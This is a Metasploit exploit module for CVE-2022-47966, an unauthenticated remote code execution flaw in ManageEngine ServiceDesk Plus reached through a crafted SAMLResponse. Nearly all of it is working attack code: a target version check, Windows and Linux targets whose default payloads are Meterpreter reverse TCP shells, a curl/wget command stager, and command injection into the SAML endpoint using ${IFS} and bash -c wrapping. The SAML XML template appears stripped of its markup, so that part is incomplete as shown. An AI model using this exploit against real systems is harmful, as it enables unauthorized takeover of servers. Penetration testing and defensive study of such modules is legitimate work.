# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE', 'Description' => %q{ This exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted `samlResponse` XML to the ServiceDesk Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status. }, 'Author' => [ 'Khoa Dinh', # Original research 'horizon3ai', # PoC 'Christophe De La Fuente' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-47966'], ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'], ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'], ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'], ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis'] ], 'Platform' => ['win', 'unix', 'linux'], 'Payload' => { 'BadChars' => "\x27" }, 'Targets' => [ [ 'Windows EXE Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }, 'CmdStagerFlavor' => %w[curl wget echo lwprequest] } ] ], 'DefaultOptions' => { 'RPORT' => 8080 }, 'DefaultTarget' => 1, 'DisclosureDate' => '2023-01-10', 'Notes' => { 'Stability' => [CRASH_SAFE,], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Privileged' => true ) ) register_options([ OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]), OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ]) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) ) return CheckCode::Unknown unless res # vulnerable servers respond with 400 and a HTML body return CheckCode::Safe unless res.code == 400 script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]') info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?[0-9]+?)\\x22,/) return CheckCode::Unknown unless info unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus' return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})") end # SAML 2.0 support has been added in build 10511 # see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105 build = Rex::Version.new(info[:build]) unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003') return CheckCode::Safe("Target build is #{info[:build]}") end CheckCode::Appears end def encode_begin(real_payload, reqs) super reqs['EncapsulationRoutine'] = proc do |_reqs, raw| raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw end end def exploit case target['Type'] when :windows_command, :unix_cmd execute_command(payload.encoded) when :windows_dropper, :linux_dropper execute_cmdstager(delay: datastore['DELAY']) end end def execute_command(cmd, _opts = {}) case target['Type'] when :windows_dropper cmd = "cmd /c #{cmd}" when :unix_cmd, :linux_dropper cmd = cmd.gsub(' ') { '${IFS}' } cmd = "bash -c #{cmd}" end cmd = cmd.encode(xml: :attr).gsub('"', '') assertion_id = "_#{SecureRandom.uuid}" # Randomize variable names and make sure they are all different using a Set vars = Set.new loop do vars << Rex::Text.rand_text_alpha_lower(5..8) break unless vars.size < 3 end vars = vars.to_a saml = <<~EOS #{Rex::Text.rand_text_alphanumeric(3..10)} #{Rex::Text.encode_base64(SecureRandom.random_bytes(32))} #{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))} EOS res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_post' => { 'SAMLResponse' => Rex::Text.encode_base64(saml) } }) unless res&.code == 500 lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip) unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') } elog("Unkown error returned:\n#{lines.join("\n")}") fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.") end fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)') end res end end